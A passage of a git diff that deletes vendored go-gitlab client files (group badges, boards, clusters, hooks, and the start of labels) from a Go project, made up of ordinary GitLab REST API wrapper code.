-google.golang.org/appengine v1.3.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= -gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= diff --git a/vendor/github.com/xanzy/go-gitlab/group_badges.go b/vendor/github.com/xanzy/go-gitlab/group_badges.go deleted file mode 100644 index 8f284c897c..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_badges.go +++ /dev/null @@ -1,213 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// GroupBadgesService handles communication with the group badges -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html -type GroupBadgesService struct { - client *Client -} - -// BadgeKind represents a GitLab Badge Kind -type BadgeKind string - -// all possible values Badge Kind -const ( - ProjectBadgeKind BadgeKind = "project" - GroupBadgeKind BadgeKind = "group" -) - -// GroupBadge represents a group badge. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html -type GroupBadge struct { - ID int `json:"id"` - LinkURL string `json:"link_url"` - ImageURL string `json:"image_url"` - RenderedLinkURL string `json:"rendered_link_url"` - RenderedImageURL string `json:"rendered_image_url"` - Kind BadgeKind `json:"kind"` -} - -// ListGroupBadgesOptions represents the available ListGroupBadges() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#list-all-badges-of-a-group -type ListGroupBadgesOptions ListOptions - -// ListGroupBadges gets a list of a group badges. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#list-all-badges-of-a-group -func (s *GroupBadgesService) ListGroupBadges(gid interface{}, opt *ListGroupBadgesOptions, options ...RequestOptionFunc) ([]*GroupBadge, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/badges", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var gb []*GroupBadge - resp, err := s.client.Do(req, &gb) - if err != nil { - return nil, resp, err - } - - return gb, resp, err -} - -// GetGroupBadge gets a group badge. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#get-a-badge-of-a-group -func (s *GroupBadgesService) GetGroupBadge(gid interface{}, badge int, options ...RequestOptionFunc) (*GroupBadge, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/badges/%d", pathEscape(group), badge) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - gb := new(GroupBadge) - resp, err := s.client.Do(req, gb) - if err != nil { - return nil, resp, err - } - - return gb, resp, err -} - -// AddGroupBadgeOptions represents the available AddGroupBadge() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#add-a-badge-to-a-group -type AddGroupBadgeOptions struct { - LinkURL *string `url:"link_url,omitempty" json:"link_url,omitempty"` - ImageURL *string `url:"image_url,omitempty" json:"image_url,omitempty"` -} - -// AddGroupBadge adds a badge to a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#add-a-badge-to-a-group -func (s *GroupBadgesService) AddGroupBadge(gid interface{}, opt *AddGroupBadgeOptions, options ...RequestOptionFunc) (*GroupBadge, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/badges", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gb := new(GroupBadge) - resp, err := s.client.Do(req, gb) - if err != nil { - return nil, resp, err - } - - return gb, resp, err -} - -// EditGroupBadgeOptions represents the available EditGroupBadge() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#edit-a-badge-of-a-group -type EditGroupBadgeOptions struct { - LinkURL *string `url:"link_url,omitempty" json:"link_url,omitempty"` - ImageURL *string `url:"image_url,omitempty" json:"image_url,omitempty"` -} - -// EditGroupBadge updates a badge of a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#edit-a-badge-of-a-group -func (s *GroupBadgesService) EditGroupBadge(gid interface{}, badge int, opt *EditGroupBadgeOptions, options ...RequestOptionFunc) (*GroupBadge, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/badges/%d", pathEscape(group), badge) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - gb := new(GroupBadge) - resp, err := s.client.Do(req, gb) - if err != nil { - return nil, resp, err - } - - return gb, resp, err -} - -// DeleteGroupBadge removes a badge from a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#remove-a-badge-from-a-group -func (s *GroupBadgesService) DeleteGroupBadge(gid interface{}, badge int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/badges/%d", pathEscape(group), badge) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// GroupBadgePreviewOptions represents the available PreviewGroupBadge() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#preview-a-badge-from-a-group -type GroupBadgePreviewOptions struct { - LinkURL *string `url:"link_url,omitempty" json:"link_url,omitempty"` - ImageURL *string `url:"image_url,omitempty" json:"image_url,omitempty"` -} - -// PreviewGroupBadge returns how the link_url and image_url final URLs would be after -// resolving the placeholder interpolation. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_badges.html#preview-a-badge-from-a-group -func (s *GroupBadgesService) PreviewGroupBadge(gid interface{}, opt *GroupBadgePreviewOptions, options ...RequestOptionFunc) (*GroupBadge, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/badges/render", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - gb := new(GroupBadge) - resp, err := s.client.Do(req, &gb) - if err != nil { - return nil, resp, err - } - - return gb, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_boards.go b/vendor/github.com/xanzy/go-gitlab/group_boards.go deleted file mode 100644 index d9d2ee6d41..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_boards.go +++ /dev/null @@ -1,351 +0,0 @@ -// -// Copyright 2018, Patrick Webster -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// GroupIssueBoardsService handles communication with the group issue board -// related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html -type GroupIssueBoardsService struct { - client *Client -} - -// GroupIssueBoard represents a GitLab group issue board. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html -type GroupIssueBoard struct { - ID int `json:"id"` - Name string `json:"name"` - Group *Group `json:"group"` - Milestone *Milestone `json:"milestone"` - Lists []*BoardList `json:"lists"` -} - -func (b GroupIssueBoard) String() string { - return Stringify(b) -} - -// ListGroupIssueBoardsOptions represents the available -// ListGroupIssueBoards() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#group-board -type ListGroupIssueBoardsOptions ListOptions - -// ListGroupIssueBoards gets a list of all issue boards in a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#group-board -func (s *GroupIssueBoardsService) ListGroupIssueBoards(gid interface{}, opt *ListGroupIssueBoardsOptions, options ...RequestOptionFunc) ([]*GroupIssueBoard, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var gs []*GroupIssueBoard - resp, err := s.client.Do(req, &gs) - if err != nil { - return nil, resp, err - } - - return gs, resp, err -} - -// CreateGroupIssueBoardOptions represents the available -// CreateGroupIssueBoard() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#create-a-group-issue-board-premium -type CreateGroupIssueBoardOptions struct { - Name *string `url:"name" json:"name"` -} - -// CreateGroupIssueBoard creates a new issue board. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#create-a-group-issue-board-premium -func (s *GroupIssueBoardsService) CreateGroupIssueBoard(gid interface{}, opt *CreateGroupIssueBoardOptions, options ...RequestOptionFunc) (*GroupIssueBoard, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gib := new(GroupIssueBoard) - resp, err := s.client.Do(req, gib) - if err != nil { - return nil, resp, err - } - - return gib, resp, err -} - -// GetGroupIssueBoard gets a single issue board of a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#single-board -func (s *GroupIssueBoardsService) GetGroupIssueBoard(gid interface{}, board int, options ...RequestOptionFunc) (*GroupIssueBoard, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d", pathEscape(group), board) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - gib := new(GroupIssueBoard) - resp, err := s.client.Do(req, gib) - if err != nil { - return nil, resp, err - } - - return gib, resp, err -} - -// UpdateGroupIssueBoardOptions represents a group issue board. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#update-a-group-issue-board-premium -type UpdateGroupIssueBoardOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MilestoneID *int `url:"milestone_id,omitempty" json:"milestone_id,omitempty"` - Labels *Labels `url:"labels,omitempty" json:"labels,omitempty"` - Weight *int `url:"weight,omitempty" json:"weight,omitempty"` -} - -// UpdateIssueBoard updates a single issue board of a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#update-a-group-issue-board-premium -func (s *GroupIssueBoardsService) UpdateIssueBoard(gid interface{}, board int, opt *UpdateGroupIssueBoardOptions, options ...RequestOptionFunc) (*GroupIssueBoard, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d", pathEscape(group), board) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - gib := new(GroupIssueBoard) - resp, err := s.client.Do(req, gib) - if err != nil { - return nil, resp, err - } - - return gib, resp, err -} - -// DeleteIssueBoard delete a single issue board of a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#delete-a-group-issue-board-premium -func (s *GroupIssueBoardsService) DeleteIssueBoard(gid interface{}, board int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d", pathEscape(group), board) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListGroupIssueBoardListsOptions represents the available -// ListGroupIssueBoardLists() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#list-board-lists -type ListGroupIssueBoardListsOptions ListOptions - -// ListGroupIssueBoardLists gets a list of the issue board's lists. Does not include -// backlog and closed lists. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/group_boards.html#list-board-lists -func (s *GroupIssueBoardsService) ListGroupIssueBoardLists(gid interface{}, board int, opt *ListGroupIssueBoardListsOptions, options ...RequestOptionFunc) ([]*BoardList, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d/lists", pathEscape(group), board) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var gbl []*BoardList - resp, err := s.client.Do(req, &gbl) - if err != nil { - return nil, resp, err - } - - return gbl, resp, err -} - -// GetGroupIssueBoardList gets a single issue board list. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#single-board-list -func (s *GroupIssueBoardsService) GetGroupIssueBoardList(gid interface{}, board, list int, options ...RequestOptionFunc) (*BoardList, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d/lists/%d", - pathEscape(group), - board, - list, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - gbl := new(BoardList) - resp, err := s.client.Do(req, gbl) - if err != nil { - return nil, resp, err - } - - return gbl, resp, err -} - -// CreateGroupIssueBoardListOptions represents the available -// CreateGroupIssueBoardList() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#new-board-list -type CreateGroupIssueBoardListOptions struct { - LabelID *int `url:"label_id" json:"label_id"` -} - -// CreateGroupIssueBoardList creates a new issue board list. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#new-board-list -func (s *GroupIssueBoardsService) CreateGroupIssueBoardList(gid interface{}, board int, opt *CreateGroupIssueBoardListOptions, options ...RequestOptionFunc) (*BoardList, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d/lists", pathEscape(group), board) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gbl := new(BoardList) - resp, err := s.client.Do(req, gbl) - if err != nil { - return nil, resp, err - } - - return gbl, resp, err -} - -// UpdateGroupIssueBoardListOptions represents the available -// UpdateGroupIssueBoardList() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#edit-board-list -type UpdateGroupIssueBoardListOptions struct { - Position *int `url:"position" json:"position"` -} - -// UpdateIssueBoardList updates the position of an existing -// group issue board list. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#edit-board-list -func (s *GroupIssueBoardsService) UpdateIssueBoardList(gid interface{}, board, list int, opt *UpdateGroupIssueBoardListOptions, options ...RequestOptionFunc) ([]*BoardList, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d/lists/%d", - pathEscape(group), - board, - list, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - var gbl []*BoardList - resp, err := s.client.Do(req, gbl) - if err != nil { - return nil, resp, err - } - - return gbl, resp, err -} - -// DeleteGroupIssueBoardList soft deletes a group issue board list. -// Only for admins and group owners. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_boards.html#delete-a-board-list -func (s *GroupIssueBoardsService) DeleteGroupIssueBoardList(gid interface{}, board, list int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/boards/%d/lists/%d", - pathEscape(group), - board, - list, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_clusters.go b/vendor/github.com/xanzy/go-gitlab/group_clusters.go deleted file mode 100644 index e91cbd20f6..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_clusters.go +++ /dev/null @@ -1,214 +0,0 @@ -// -// Copyright 2019, Paul Shoemaker -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// GroupClustersService handles communication with the -// group clusters related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html -type GroupClustersService struct { - client *Client -} - -// GroupCluster represents a GitLab Group Cluster. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/group_clusters.html -type GroupCluster struct { - ID int `json:"id"` - Name string `json:"name"` - Domain string `json:"domain"` - CreatedAt *time.Time `json:"created_at"` - ProviderType string `json:"provider_type"` - PlatformType string `json:"platform_type"` - EnvironmentScope string `json:"environment_scope"` - ClusterType string `json:"cluster_type"` - User *User `json:"user"` - PlatformKubernetes *PlatformKubernetes `json:"platform_kubernetes"` - ManagementProject *ManagementProject `json:"management_project"` - Group *Group `json:"group"` -} - -func (v GroupCluster) String() string { - return Stringify(v) -} - -// ListClusters gets a list of all clusters in a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#list-group-clusters -func (s *GroupClustersService) ListClusters(pid interface{}, options ...RequestOptionFunc) ([]*GroupCluster, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/clusters", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var pcs []*GroupCluster - resp, err := s.client.Do(req, &pcs) - if err != nil { - return nil, resp, err - } - - return pcs, resp, err -} - -// GetCluster gets a cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#get-a-single-group-cluster -func (s *GroupClustersService) GetCluster(pid interface{}, cluster int, options ...RequestOptionFunc) (*GroupCluster, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/clusters/%d", pathEscape(group), cluster) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - gc := new(GroupCluster) - resp, err := s.client.Do(req, &gc) - if err != nil { - return nil, resp, err - } - - return gc, resp, err -} - -// AddGroupClusterOptions represents the available AddCluster() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#add-existing-cluster-to-group -type AddGroupClusterOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Domain *string `url:"domain,omitempty" json:"domain,omitempty"` - ManagementProjectID *string `url:"management_project_id,omitempty" json:"management_project_id,omitempty"` - Enabled *bool `url:"enabled,omitempty" json:"enabled,omitempty"` - Managed *bool `url:"managed,omitempty" json:"managed,omitempty"` - EnvironmentScope *string `url:"environment_scope,omitempty" json:"environment_scope,omitempty"` - PlatformKubernetes *AddGroupPlatformKubernetesOptions `url:"platform_kubernetes_attributes,omitempty" json:"platform_kubernetes_attributes,omitempty"` -} - -// AddGroupPlatformKubernetesOptions represents the available PlatformKubernetes options for adding. -type AddGroupPlatformKubernetesOptions struct { - APIURL *string `url:"api_url,omitempty" json:"api_url,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` - CaCert *string `url:"ca_cert,omitempty" json:"ca_cert,omitempty"` - Namespace *string `url:"namespace,omitempty" json:"namespace,omitempty"` - AuthorizationType *string `url:"authorization_type,omitempty" json:"authorization_type,omitempty"` -} - -// AddCluster adds an existing cluster to the group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#add-existing-cluster-to-group -func (s *GroupClustersService) AddCluster(pid interface{}, opt *AddGroupClusterOptions, options ...RequestOptionFunc) (*GroupCluster, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/clusters/user", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gc := new(GroupCluster) - resp, err := s.client.Do(req, gc) - if err != nil { - return nil, resp, err - } - - return gc, resp, err -} - -// EditGroupClusterOptions represents the available EditCluster() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#edit-group-cluster -type EditGroupClusterOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Domain *string `url:"domain,omitempty" json:"domain,omitempty"` - EnvironmentScope *string `url:"environment_scope,omitempty" json:"environment_scope,omitempty"` - PlatformKubernetes *EditGroupPlatformKubernetesOptions `url:"platform_kubernetes_attributes,omitempty" json:"platform_kubernetes_attributes,omitempty"` - ManagementProjectID *string `url:"management_project_id,omitempty" json:"management_project_id,omitempty"` -} - -// EditGroupPlatformKubernetesOptions represents the available PlatformKubernetes options for editing. -type EditGroupPlatformKubernetesOptions struct { - APIURL *string `url:"api_url,omitempty" json:"api_url,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` - CaCert *string `url:"ca_cert,omitempty" json:"ca_cert,omitempty"` -} - -// EditCluster updates an existing group cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#edit-group-cluster -func (s *GroupClustersService) EditCluster(pid interface{}, cluster int, opt *EditGroupClusterOptions, options ...RequestOptionFunc) (*GroupCluster, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/clusters/%d", pathEscape(group), cluster) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - gc := new(GroupCluster) - resp, err := s.client.Do(req, gc) - if err != nil { - return nil, resp, err - } - - return gc, resp, err -} - -// DeleteCluster deletes an existing group cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_clusters.html#delete-group-cluster -func (s *GroupClustersService) DeleteCluster(pid interface{}, cluster int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/clusters/%d", pathEscape(group), cluster) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_hooks.go b/vendor/github.com/xanzy/go-gitlab/group_hooks.go deleted file mode 100644 index 704232b90b..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_hooks.go +++ /dev/null @@ -1,199 +0,0 @@ -// -// Copyright 2020, Eric Stevens -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// GroupHook represents a GitLab group hook. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#list-group-hooks -type GroupHook struct { - ID int `json:"id"` - URL string `json:"url"` - GroupID int `json:"group_id"` - PushEvents bool `json:"push_events"` - IssuesEvents bool `json:"issues_events"` - ConfidentialIssuesEvents bool `json:"confidential_issues_events"` - ConfidentialNoteEvents bool `json:"confidential_note_events"` - MergeRequestsEvents bool `json:"merge_requests_events"` - TagPushEvents bool `json:"tag_push_events"` - NoteEvents bool `json:"note_events"` - JobEvents bool `json:"job_events"` - PipelineEvents bool `json:"pipeline_events"` - WikiPageEvents bool `json:"wiki_page_events"` - EnableSSLVerification bool `json:"enable_ssl_verification"` - CreatedAt *time.Time `json:"created_at"` -} - -// ListGroupHooks gets a list of group hooks. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#list-group-hooks -func (s *GroupsService) ListGroupHooks(gid interface{}) ([]*GroupHook, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/hooks", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, nil, nil) - if err != nil { - return nil, nil, err - } - var gh []*GroupHook - resp, err := s.client.Do(req, &gh) - if err != nil { - return nil, resp, err - } - - return gh, resp, err -} - -// GetGroupHook gets a specific hook for a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#get-group-hook -func (s *GroupsService) GetGroupHook(pid interface{}, hook int, options ...RequestOptionFunc) (*GroupHook, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/hooks/%d", pathEscape(group), hook) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - gh := new(GroupHook) - resp, err := s.client.Do(req, gh) - if err != nil { - return nil, resp, err - } - - return gh, resp, err -} - -// AddGroupHookOptions represents the available AddGroupHook() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/groups.html#add-group-hook -type AddGroupHookOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - IssuesEvents *bool `url:"issues_events,omitempty" json:"issues_events,omitempty"` - ConfidentialIssuesEvents *bool `url:"confidential_issues_events,omitempty" json:"confidential_issues_events,omitempty"` - ConfidentialNoteEvents *bool `url:"confidential_note_events,omitempty" json:"confidential_note_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - NoteEvents *bool `url:"note_events,omitempty" json:"note_events,omitempty"` - JobEvents *bool `url:"job_events,omitempty" json:"job_events,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` - WikiPageEvents *bool `url:"wiki_page_events,omitempty" json:"wiki_page_events,omitempty"` - EnableSSLVerification *bool `url:"enable_ssl_verification,omitempty" json:"enable_ssl_verification,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` -} - -// AddGroupHook create a new group scoped webhook. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/groups.html#add-group-hook -func (s *GroupsService) AddGroupHook(gid interface{}, opt *AddGroupHookOptions, options ...RequestOptionFunc) (*GroupHook, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/hooks", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gh := new(GroupHook) - resp, err := s.client.Do(req, gh) - if err != nil { - return nil, resp, err - } - - return gh, resp, err -} - -// EditGroupHookOptions represents the available EditGroupHook() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#edit-group-hook -type EditGroupHookOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - IssuesEvents *bool `url:"issues_events,omitempty" json:"issues_events,omitempty"` - ConfidentialIssuesEvents *bool `url:"confidential_issues_events,omitempty" json:"confidential_issues_events,omitempty"` - ConfidentialNoteEvents *bool `url:"confidential_note_events,omitempty" json:"confidential_note_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - NoteEvents *bool `url:"note_events,omitempty" json:"note_events,omitempty"` - JobEvents *bool `url:"job_events,omitempty" json:"job_events,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` - WikiPageEvents *bool `url:"wiki_page_events,omitempty" json:"wiki_page_events,omitempty"` - EnableSSLVerification *bool `url:"enable_ssl_verification,omitempty" json:"enable_ssl_verification,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` -} - -// EditGroupHook edits a hook for a specified group. -// -// Gitlab API docs: -// https://docs.gitlab.com/ce/api/groups.html#edit-group-hook -func (s *GroupsService) EditGroupHook(pid interface{}, hook int, opt *EditGroupHookOptions, options ...RequestOptionFunc) (*GroupHook, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/hooks/%d", pathEscape(group), hook) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - gh := new(GroupHook) - resp, err := s.client.Do(req, gh) - if err != nil { - return nil, resp, err - } - - return gh, resp, err -} - -// DeleteGroupHook removes a hook from a group. This is an idempotent -// method and can be called multiple times. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#delete-group-hook -func (s *GroupsService) DeleteGroupHook(pid interface{}, hook int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/hooks/%d", pathEscape(group), hook) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_labels.go b/vendor/github.com/xanzy/go-gitlab/group_labels.go deleted file mode 100644 index 87a5ea6591..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_labels.go +++ /dev/null @@ -1,225 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// GroupLabelsService handles communication with the label related methods of the -// GitLab API. -// -// GitLab 